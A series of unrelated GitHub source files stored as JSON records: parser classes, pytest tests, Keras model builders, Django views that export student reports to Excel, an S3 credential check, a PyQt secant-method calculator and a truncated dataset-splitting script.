\".join(line[line.index(\"=\")+1:len(line)])\n \nclass Function(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n self.Name = line[1]\n tamp = \" \".join(line)\n self.Parametre = self.find_between_r(tamp,\"(\",\")\")\n #self.Condition = NULL;\n\n def find_between_r(self, s, first, last ):\n try:\n start = s.rindex( first ) + len( first )\n end = s.rindex( last, start )\n return s[start:end]\n except ValueError:\n return \"\"\n\nclass Condition(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n self.Name = line[0]\n if self.Name != \"else\":\n tamp = \" \".join(line)\n self.Condition = self.find_between_r(tamp,\"(\",\")\")\n if line[len(line) - 1] == \";\":\n self.SimpleInstruction = self.find_between_r(\" \".join(line),\")\",\";\").strip()\n\n def find_between_r(self, s, first, last ):\n try:\n start = s.rindex( first ) + len( first )\n end = s.rindex( last, start )\n return s[start:end]\n except ValueError:\n return \"\"\n @staticmethod\n def IsSimpleInstruction(line):\n if line[len(line) - 1] == \";\":\n return True\n else:\n return False\n\nclass Break(Instruction):\n def __init__(self) -> None:\n self.Instruction = type(self).__name__\n\nclass Return(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n line.remove(\"return\")\n line.remove(\";\")\n self.Value = \" \".join(line)\n\nclass CallFunction(Instruction):\n def __init__(self,line) -> None:\n self.Instruction = type(self).__name__\n self.Name = line[0]\n self.Parameters = self.find_between_r(\" \".join(line),\"(\",\")\")\n def find_between_r(self, s, first, last ):\n try:\n start = s.rindex( first ) + len( first )\n end = s.rindex( last, start )\n return s[start:end]\n except ValueError:\n return \"\"","repo_name":"Arnaud-Della/KaolinParser","sub_path":"ObjectsClass.py","file_name":"ObjectsClass.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70432621518","text":"import pytest\n\nfrom .util import make_tempdir\nfrom moonpy.util import json_dumps, read_json\n\n\ndef test_json_dumps_sort_keys(data):\n result = json_dumps(data[\"data\"], sort_keys=True)\n assert result == data[\"sorted_file_contents\"]\n\n\ndef test_read_json_file(data):\n with make_tempdir({data[\"file_name\"]: data[\"file_contents\"]}) as temp_dir:\n file_path = temp_dir / data[\"file_name\"]\n assert file_path.exists()\n data = read_json(file_path)\n assert len(data) == 1\n assert data[\"hello\"] == \"world\"\n\n\ndef test_read_json_file_invalid(data):\n with make_tempdir({data[\"file_name\"]: data[\"invalid_file_contents\"]}) as temp_dir:\n file_path = temp_dir / data[\"file_name\"]\n assert file_path.exists()\n with pytest.raises(ValueError):\n read_json(file_path)\n","repo_name":"GarrettMooney/moonpy","sub_path":"tests/test_json.py","file_name":"test_json.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31486657857","text":"# Author(s): Cedric Donié (cedricdonie@gmail.com)\n\nfrom json import load\nfrom sktime.datasets import load_basic_motions\nfrom sktime_dl.classification import InceptionTimeClassifier\nimport numpy as np\n\n\ndef test_validation_has_fewer_classes_than_test():\n \"\"\"\n Expected to pass even unexpectedly.\n See https://github.com/sktime/sktime-dl/issues/131\n \"\"\"\n X, _ = load_basic_motions(return_X_y=True, split=\"train\")\n X_val, _ = load_basic_motions(return_X_y=True, split=\"test\")\n\n y = np.ones(len(X))\n y[0] = 0\n y[1] = 2\n\n y_val = np.ones_like(y)\n y_val[0] = 0\n\n clf = InceptionTimeClassifier(nb_epochs=2)\n\n clf.fit(X, y, validation_data=(X_val, y_val))\n","repo_name":"cedricdonie/tsc-for-wrist-motion-pd-detection","sub_path":"test/test_sktime.py","file_name":"test_sktime.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"10075366041","text":"from keras.models import Sequential\nfrom keras.layers import Embedding, Flatten, Dense, Bidirectional, LSTM, Dropout, Activation\n\ndef getModel(exp, tokens, bpemb = None):\n if exp.MODEL == 'B':\n return getBPEmbModel(exp.EMB_VS, exp.EMB_DIM, bpemb.vectors, exp.SEQ_LEN, len(tokens), 256, emb_trainable = exp.EMB_TRAIN)\n elif exp.MODEL == 'L':\n return getBasicLSTMModel(exp.SEQ_LEN, len(tokens), 256)\n\ndef getBPEmbModel(emb_vs, emb_dim, emb_weights, seq_len, num_tokens, lstm_size, emb_trainable = False):\n model = Sequential()\n\n # define the model\n model = Sequential()\n model.add(Embedding(emb_vs, emb_dim, weights=[emb_weights], input_length=seq_len, trainable=emb_trainable))\n model.add(Bidirectional(LSTM(lstm_size)))\n model.add(Dropout(0.2))\n model.add(Dense(num_tokens))\n model.add(Activation('softmax'))\n\n # compile the model\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n return model\n\n\ndef getBasicLSTMModel(seq_len, num_tokens, lstm_size):\n model = Sequential()\n\n # define the model\n model = Sequential()\n model.add(Bidirectional(LSTM(lstm_size), input_shape=(seq_len, num_tokens)))\n model.add(Dropout(0.2))\n model.add(Dense(num_tokens))\n model.add(Activation('softmax'))\n\n # compile the model\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\n return model","repo_name":"midusi/freestyle_generator","sub_path":"others/v1/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"21077336929","text":"import numpy\n\nfirstLine = [int(x) for x in input().split()]\nrows = firstLine[0]\ncolumns = firstLine[1]\n\nmatrix = []\nfor i in range(rows):\n M = numpy.array([int(x) for x in input().split()])\n matrix.append(M)\n \nprint(numpy.transpose(matrix))\nprint(numpy.array(matrix).flatten())","repo_name":"gemapratamaa/codingproblems","sub_path":"hackerrank/python/transposeflatten.py","file_name":"transposeflatten.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43313858866","text":"from django.shortcuts import render\nfrom student import response_views\nimport xlwt\nfrom django.http import HttpResponse\nfrom loginandregister.models import Alluser\nfrom student.models import *\nfrom django.contrib.auth.models import User\nfrom django.db.models import Model\n#-------------\n\nworkbook='wb'\nworksheet='ws'\n#-----------\ndef getWorkbookAndWorksheet(filename):\n response = HttpResponse(content_type='application/ms-excel')\n response['Content-Disposition'] = 'attachment; filename=\"'+filename+'.xls\"'\n wb = xlwt.Workbook(encoding='utf-8')\n ws = wb.add_sheet('New Sheet')\n return {workbook:wb,worksheet:ws,'response':response}\n\ndef table1p3p4and1p3p4p1(request):\n # Check database connectivity\n dict = getWorkbookAndWorksheet('1.3.4 and 1.3.4.1')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write(0,0,'Program name')\n ws.write(0,1, 'Program Code')\n ws.write(0,2, 'Name of students undertaking field projects /internships/student projects')\n ws.write(0,3, 'Link to the relevant document')\n\n placement_list= Placement_internship_project.objects.raw(\"SELECT * FROM public.student_placement_internship_project WHERE internship_project_name IS NOT NULL;\")\n row=1\n for obj in placement_list:\n ws.write(row, 0, obj.student.prog.prog_name)\n ws.write(row, 1, obj.student.prog.prog_code)\n ws.write(row, 2, obj.student.student.user.first_name+' '+obj.student.student.user.last_name)\n ws.write(row, 3, obj.document_link)\n row=row+1\n wb.save(response)\n return response_views.excel_file_report(response)\n\n\n\n\ndef table2p7p1(request):\n # Check db connection\n dict = getWorkbookAndWorksheet('2.7.1')\n wb = dict[workbook]\n ws = dict[worksheet]\n response = dict['response']\n ws.write(0, 0,'Name of the student')\n ws.write(0, 1, 'Gender')\n ws.write(0, 2, 'Category')\n ws.write(0, 3, 'State of Domicile')\n ws.write(0, 4, 'Nationality if othern than Indian')\n ws.write(0, 5, 'Email ID')\n ws.write(0, 6, 'Programme name')\n ws.write(0, 7, 'Student Unique Enrolment ID ')\n ws.write(0, 8, 'Mobile Number')\n ws.write(0, 9, 'Year of joining')\n\n Student_info= student.objects.raw(\n \"SELECT * FROM public.student_Student WHERE enroll_num IS NOT NULL;\")\n row = 1\n for obj in Student_info:\n ws.write(row, 0, obj.student.Student.student)\n ws.write(row, 1, obj.student.Student.gender)\n ws.write(row, 2, obj.student.Student.category)\n ws.write(row, 3, obj.student.Student.state_of_domicile)\n ws.write(row, 4, obj.student.Student.nationality)\n ws.write(row, 5, obj.student.Student.email_id)\n ws.write(row, 6, obj.student.prog.prog_name)\n ws.write(row, 7, obj.student.Student.enroll_num)\n ws.write(row, 8, obj.student.Student.contact_number)\n ws.write(row, 9, obj.student.Student.year_of_admission)\n row = row + 1\n wb.save(response)\n return response_views.excel_file_report(response)\n\ndef table5p1p1and5p1p2(request):\n # Check database connectivity\n dict = getWorkbookAndWorksheet('5.1.1 and 5.1.2')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write_merge(0,1,0,0,'Year')\n ws.write_merge(0,1,1,1, 'Name of Scheme')\n ws.write_merge(0,0,2,3, 'Number of students benefited by government scheme and amount')\n ws.write(1,2,'Number of Students')\n ws.write(1,3,'Amount')\n ws.write_merge(0,1,5,5,'Link to Relevant Documnet')\n row=2\n gov_objs= Scholarship.objects.raw(\"SELECT 1 as id,year,scheme_name,scheme_type,COUNT(*),SUM(amount) FROM public.student_scholarship WHERE scheme_type='government' GROUP BY year,scheme_name,scheme_type;\")\n for obj in gov_objs:\n ws.write(row, 0, obj.year)\n ws.write(row, 1, obj.scheme_name)\n ws.write(row, 2, obj.count)\n ws.write(row, 3, obj.sum)\n row=row+1\n row=row+3\n ws.write_merge(row,row+1,0,0,'Year')\n ws.write_merge(row,row+1, 1, 1, 'Name of Scheme')\n ws.write_merge(row, row, 2, 3, \"Number of students benefited by intitution's scheme and amount\")\n ws.write(row+1, 2, 'Number of Students')\n ws.write(row+1, 3, 'Amount')\n ws.write_merge(row, row+1, 5, 5, 'Link to Relevant Documnet')\n row=row+2\n inst_objs = Scholarship.objects.raw(\"SELECT 1 as id,year,scheme_name,scheme_type,COUNT(*),SUM(amount) FROM public.student_scholarship WHERE scheme_type='institute' GROUP BY year,scheme_name,scheme_type;\")\n for obj in inst_objs:\n ws.write(row, 0, obj.year)\n ws.write(row, 1, obj.scheme_name)\n ws.write(row, 2, obj.count)\n ws.write(row, 3, obj.sum)\n row = row + 1\n row = row + 3\n ws.write_merge(row, row + 1, 0, 0, 'Year')\n ws.write_merge(row, row + 1, 1, 1, 'Name of Scheme')\n ws.write_merge(row, row, 2, 4, \"Number of students benefited by non-government scheme and amount\")\n ws.write(row + 1, 2, 'Number of Students')\n ws.write(row + 1, 3, 'Amount')\n ws.write(row + 1, 4, 'Agency name')\n ws.write_merge(row, row + 1, 5, 5, 'Link to Relevant Documnent')\n row = row + 2\n non_gov_objs = Scholarship.objects.raw(\"SELECT 1 as id,year,scheme_name,scheme_type,scholarship_provider,COUNT(*),SUM(amount) FROM public.student_scholarship WHERE scheme_type='non-government' GROUP BY year,scheme_name,scheme_type,scholarship_provider;\")\n for obj in non_gov_objs:\n ws.write(row, 0, obj.year)\n ws.write(row, 1, obj.scheme_name)\n ws.write(row, 2, obj.count)\n ws.write(row, 3, obj.sum)\n ws.write(row, 4, obj.scholarship_provider)\n row = row + 1\n wb.save(response)\n return response_views.excel_file_report(response)\n\ndef table5p2p1(request):\n #check database connectivity\n dict = getWorkbookAndWorksheet('5.2.1')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write(0,0,'Year')\n ws.write(0,1,'Name of student placed')\n ws.write(0,2,'Program graduated from')\n ws.write(0,3,'Name of the employer')\n ws.write(0,4,'Pay package at appointment')\n\n wb.save(response)\n return response_views.excel_file_report(response)\n\ndef table5p2p2(request):\n # Check database connectivity\n dict = getWorkbookAndWorksheet('5.2.2')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write(0,0,'Name of student enrolling into higher education')\n ws.write(0,1, 'Program graduated from')\n ws.write(0,2, 'Name of institution joined')\n ws.write(0,3, 'Name of programme admitted to')\n row=1\n student_objs= Student.objects.raw(\"SELECT * FROM PUBLIC.student_student WHERE higher_edu_inst_joined_name IS NOT null\")\n for obj in student_objs:\n ws.write(row,0, obj.student.user.first_name+' '+obj.student.user.last_name)\n ws.write(row,1, obj.prog.prog_name)\n ws.write(row,2, obj.higher_edu_inst_joined_name)\n ws.write(row,3, obj.higher_edu_prog_name)\n row=row+1\n wb.save(response)\n return response_views.excel_file_report(response)\n\ndef table5p2p3(request): #Doubt\n # Check database connectivity\n dict = getWorkbookAndWorksheet('5.2.3')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write_merge(0,1,0,0,'Year')\n ws.write_merge(0,1,1,1,'Registration number/roll number for the exam')\n ws.write_merge(0,1,2,2, 'Names of students selected/ qualified')\n ws.write_merge(0, 0, 3, 14, 'Examination Qualified')\n ws.write(1, 3, 'NET')\n ws.write(1, 4, 'SLET')\n ws.write(1, 5, 'GATE')\n ws.write(1, 6, 'GMAT')\n ws.write(1, 7, 'CAT')\n ws.write(1, 8, 'GRE')\n ws.write(1, 9, 'JAM')\n ws.write(1, 10, 'IELTS')\n ws.write(1, 11, 'TOEFL')\n ws.write(1, 12, 'Civil Services')\n ws.write(1, 13, 'State government examinations')\n ws.write(1, 14, 'Other examinations conducted by the State / Central Government Agencies (Specify)')\n\n sports_objs = Sports_cultural_award.objects.all()\n row = 1\n for obj in sports_objs:\n ws.write(row, 0, obj.year)\n ws.write(row, 1, obj.award_name)\n ws.write(row, 2, obj.team_name)\n ws.write(row, 3, obj.competition_type)\n ws.write(row, 4, obj.event_name)\n ws.write(row, 5, obj.student.student.user.first_name + ' ' + obj.student.student.user.first_name)\n row = row + 1\n\n\n wb.save(response)\n return response_views.excel_file_report(response)\n\ndef table5p3p1(request):\n # Check database connectivity\n dict = getWorkbookAndWorksheet('5.3.1')\n wb = dict['wb']\n ws = dict['ws']\n response = dict['response']\n ws.write(0,0,'Year')\n ws.write(0,1, 'Name of the award/ medal')\n ws.write(0,2, 'Team / Individual')\n ws.write(0,3, 'inter-university / state / National/ International')\n ws.write(0,4, 'Name of the event')\n ws.write(0,5, 'Name of the student')\n sports_objs= Sports_cultural_award.objects.all()\n row=1\n for obj in sports_objs:\n ws.write(row, 0, obj.year)\n ws.write(row, 1, obj.award_name)\n ws.write(row, 2, obj.team_name)\n ws.write(row, 3, obj.competition_type)\n ws.write(row, 4, obj.event_name)\n ws.write(row, 5, obj.student.student.user.first_name+' '+obj.student.student.user.first_name)\n row=row+1\n wb.save(response)\n return response_views.excel_file_report(response)\n\n\ndef displayhome(request):\n #Database connectivity and data fetch\n user = request.user\n alluser = Alluser.objects.get(user=user)\n student = Student.objects.get(student=alluser)\n return response_views.htmlpage(request, 'student/home.html', {'alluser':alluser, 'student':student})\n\n\ndef displayacademicinfo(request):\n #Database connectivity and data fetch\n return response_views.htmlpage(request, 'student/details.html', {})\n","repo_name":"ayush12kanoongo/NAACDataAggregator","sub_path":"student/db_connect_views.py","file_name":"db_connect_views.py","file_ext":"py","file_size_in_byte":9767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22584132356","text":"import pytest\n\nfrom django.urls import reverse\nfrom django.test import Client\nfrom profiles.models import Profile\nfrom pytest_django.asserts import assertTemplateUsed\nfrom django.contrib.auth.models import User\nfrom bs4 import BeautifulSoup\n\n\n@pytest.mark.django_db\ndef test_profile_index_view():\n client = Client()\n path = reverse('profiles:index')\n\n response = client.get(path)\n\n soup = BeautifulSoup(response.content, features=\"html.parser\")\n soup_content = soup.find_all(\"h1\")\n\n assertion_check = 'Profiles'\n\n assert response.status_code == 200\n assertTemplateUsed(response, 'profiles/index.html')\n assert assertion_check == soup_content[0].get_text()\n\n\n@pytest.mark.django_db\ndef test_profile_view():\n client = Client()\n user_for_test = User()\n user_for_test.username = 'test_user'\n user_for_test.save()\n profile_for_test = Profile()\n profile_for_test.user = user_for_test\n profile_for_test.favorite_city = 'paris'\n profile_for_test.save()\n\n path = reverse('profiles:profile', kwargs={'username': 'test_user'})\n\n response = client.get(path)\n\n soup = BeautifulSoup(response.content, features=\"html.parser\")\n soup_content = soup.find_all(\"h1\")\n\n assertion_check = 'test_user'\n\n assert response.status_code == 200\n assert assertion_check == soup_content[0].get_text()\n assertTemplateUsed(response, \"profiles/profile.html\")\n","repo_name":"DavidPerelroizen/OC_P13","sub_path":"profiles/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1162917224","text":"import os\nimport sys\nimport boto3\nfrom shipyard_blueprints import S3Client\n\n\ndef main():\n s3 = S3Client(\n aws_access_key=os.getenv(\"AWS_ACCESS_KEY_ID\"),\n aws_secret_access_key=os.getenv(\"AWS_SECRET_ACCESS_KEY\"),\n ) # only necessary for logging\n try:\n client = boto3.client(\n \"sts\",\n aws_access_key_id=os.getenv(\"AWS_ACCESS_KEY_ID\"),\n aws_secret_access_key=os.getenv(\"AWS_SECRET_ACCESS_KEY\"),\n )\n response = client.get_caller_identity()\n if response[\"ResponseMetadata\"][\"HTTPStatusCode\"] == 200:\n s3.logger.info(\"Successfully connected to S3\")\n sys.exit(0)\n except Exception as e:\n s3.logger.error(f\"Could not connect to the AWS S3\")\n sys.exit(1)\n\n else:\n s3.logger.error(f\"Could not connect to the AWS S3\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shipyardapp/shipyard-blueprints","sub_path":"shipyard_blueprints/s3/shipyard_s3/cli/authtest.py","file_name":"authtest.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19577823325","text":"\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_Dialog(object):\n def setupUi(self, Dialog):\n Dialog.setObjectName(\"Dialog\")\n Dialog.resize(387, 421)\n self.label = QtWidgets.QLabel(Dialog)\n self.label.setGeometry(QtCore.QRect(20, 30, 71, 21))\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(Dialog)\n self.label_2.setGeometry(QtCore.QRect(20, 60, 71, 21))\n self.label_2.setObjectName(\"label_2\")\n self.x1 = QtWidgets.QLineEdit(Dialog)\n self.x1.setGeometry(QtCore.QRect(90, 30, 113, 20))\n self.x1.setObjectName(\"x1\")\n self.x2 = QtWidgets.QLineEdit(Dialog)\n self.x2.setGeometry(QtCore.QRect(90, 60, 113, 20))\n self.x2.setObjectName(\"x2\")\n self.tombol = QtWidgets.QPushButton(Dialog)\n self.tombol.setGeometry(QtCore.QRect(230, 60, 75, 23))\n self.tombol.setObjectName(\"tombol\")\n self.label_4 = QtWidgets.QLabel(Dialog)\n self.label_4.setGeometry(QtCore.QRect(20, 90, 71, 21))\n self.label_4.setObjectName(\"label_4\")\n self.H1 = QtWidgets.QLineEdit(Dialog)\n self.H1.setGeometry(QtCore.QRect(90, 90, 113, 20))\n self.H1.setObjectName(\"H1\")\n self.label_3 = QtWidgets.QLabel(Dialog)\n self.label_3.setGeometry(QtCore.QRect(20, 140, 51, 16))\n self.label_3.setObjectName(\"label_3\")\n self.label_5 = QtWidgets.QLabel(Dialog)\n self.label_5.setGeometry(QtCore.QRect(30, 160, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_5.setFont(font)\n self.label_5.setText(\"\")\n self.label_5.setObjectName(\"label_5\")\n self.label_6 = QtWidgets.QLabel(Dialog)\n self.label_6.setGeometry(QtCore.QRect(30, 190, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_6.setFont(font)\n self.label_6.setText(\"\")\n self.label_6.setObjectName(\"label_6\")\n self.label_7 = QtWidgets.QLabel(Dialog)\n self.label_7.setGeometry(QtCore.QRect(30, 210, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_7.setFont(font)\n self.label_7.setText(\"\")\n self.label_7.setObjectName(\"label_7\")\n self.label_8 = QtWidgets.QLabel(Dialog)\n self.label_8.setGeometry(QtCore.QRect(30, 230, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_8.setFont(font)\n self.label_8.setText(\"\")\n self.label_8.setObjectName(\"label_8\")\n self.label_9 = QtWidgets.QLabel(Dialog)\n self.label_9.setGeometry(QtCore.QRect(30, 250, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_9.setFont(font)\n self.label_9.setText(\"\")\n self.label_9.setObjectName(\"label_9\")\n self.label_10 = QtWidgets.QLabel(Dialog)\n self.label_10.setGeometry(QtCore.QRect(30, 270, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_10.setFont(font)\n self.label_10.setText(\"\")\n self.label_10.setObjectName(\"label_10\")\n self.label_11 = QtWidgets.QLabel(Dialog)\n self.label_11.setGeometry(QtCore.QRect(30, 290, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_11.setFont(font)\n self.label_11.setText(\"\")\n self.label_11.setObjectName(\"label_11\")\n self.label_12 = QtWidgets.QLabel(Dialog)\n self.label_12.setGeometry(QtCore.QRect(30, 310, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_12.setFont(font)\n self.label_12.setText(\"\")\n self.label_12.setObjectName(\"label_12\")\n self.label_13 = QtWidgets.QLabel(Dialog)\n self.label_13.setGeometry(QtCore.QRect(30, 330, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_13.setFont(font)\n self.label_13.setText(\"\")\n self.label_13.setObjectName(\"label_13\")\n self.label_14 = QtWidgets.QLabel(Dialog)\n self.label_14.setGeometry(QtCore.QRect(30, 360, 341, 21))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.label_14.setFont(font)\n self.label_14.setText(\"\")\n self.label_14.setObjectName(\"label_14\")\n self.tombol.clicked.connect(self.tampung)\n\n self.retranslateUi(Dialog)\n QtCore.QMetaObject.connectSlotsByName(Dialog)\n\n def retranslateUi(self, Dialog):\n _translate = QtCore.QCoreApplication.translate\n Dialog.setWindowTitle(_translate(\"Dialog\", \"Dialog\"))\n self.label.setText(_translate(\"Dialog\", \"Masukan X0\"))\n self.label_2.setText(_translate(\"Dialog\", \"Masukan X1\"))\n self.tombol.setText(_translate(\"Dialog\", \"Hitung\"))\n self.label_4.setText(_translate(\"Dialog\", \"Masukan H\"))\n self.label_3.setText(_translate(\"Dialog\", \"Jawaban :\"))\n\n\n def tampung(self):\n self.angka(int(self.x1.text()),int(self.x2.text()),float(self.H1.text()))\n\n\n def angka(self,X1,X2,tol):\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_5.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+1) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+1) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_6.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+2) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+2) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_7.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+3) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+3) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_8.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+4) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+4) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_9.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+5) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+5) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_10.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+6) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+6) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_11.setText(str(a))\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+7) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+7) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n #c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_12.setText(str(a))\n\n\n num_iter=2\n for i in range(1,num_iter,1):\n f_x_1=self.func(X1)\n f_x_2 =self.func(X2)\n print('x' + str(i+8) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n a = ('x' + str(i+8) + ' = ' + str(X2) + ' f(x) = ' + str(f_x_2))\n if abs(f_x_2) < tol:\n break\n x_3 = X2 - f_x_2 * ((X2 - X1) / (f_x_2 - f_x_1))\n X1 = X2\n X2 = x_3\n c = ('Error di : [' + str(X2) + ', ' + str(f_x_2) + ']')\n self.label_13.setText(str(a))\n self.label_14.setText(str(c))\n\n\n\n\n\n\n\n def func(self,x):\n f_x = (x ** 2) - 13 * x + 30\n return f_x\n\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n Dialog = QtWidgets.QDialog()\n ui = Ui_Dialog()\n ui.setupUi(Dialog)\n Dialog.show()\n sys.exit(app.exec_())\n","repo_name":"iqbalsssa/TugasBesar-Metnum","sub_path":"MetnumFix.py","file_name":"MetnumFix.py","file_ext":"py","file_size_in_byte":10188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14828835379","text":"'''\nA modified version of ModifiedOpenLabelling Tool by Ivan Goncharov. \nModifications include training path and splitting folder structure.\n'''\nimport os\nimport random\nimport shutil\n\nimgList = os.listdir('images')\n\n\n#shuffling images\nrandom.shuffle(imgList)\n\nsplit = 0.2\n\npath = \"../data\"\ntrain_path_images = path + '/images/train'\ntrain_path_labels = path + '/labels/train'\nval_path_images = path + '/images/val'\nval_path_labels = path + '/labels/val'\n\n\nif os.path.isdir(train_path_images) == False:\n os.makedirs(train_path_images)\nif os.path.isdir(train_path_labels) == False:\n os.makedirs(train_path_labels)\nif os.path.isdir(val_path_images) == False:\n os.makedirs(val_path_images)\nif os.path.isdir(val_path_labels) == False:\n os.makedirs(val_path_labels)\n\nimgLen = len(imgList)\nprint(\"Images in total: \", imgLen)\n\ntrain_images = imgList[: int(imgLen - (imgLen*split))]\nval_images = imgList[int(imgLen - (imgLen*split)):]\nprint(\"Training images: \", len(train_images))\nprint(\"Validation images: \", len(val_images))\n\nfor imgName in train_images:\n og_path = os.path.join('images', imgName)\n target_path = os.path.join(train_path_images, imgName)\n\n shutil.copyfile(og_path, target_path)\n\n og_txt_path = os.path.join('bbox_txt', imgName.replace('.jpg', '.txt'))\n target_txt_path = os.path.join(train_path_labels, imgName.replace('.jpg', '.txt'))\n\n shutil.copyfile(og_txt_path, target_txt_path)\n\nfor imgName in val_images:\n og_path = 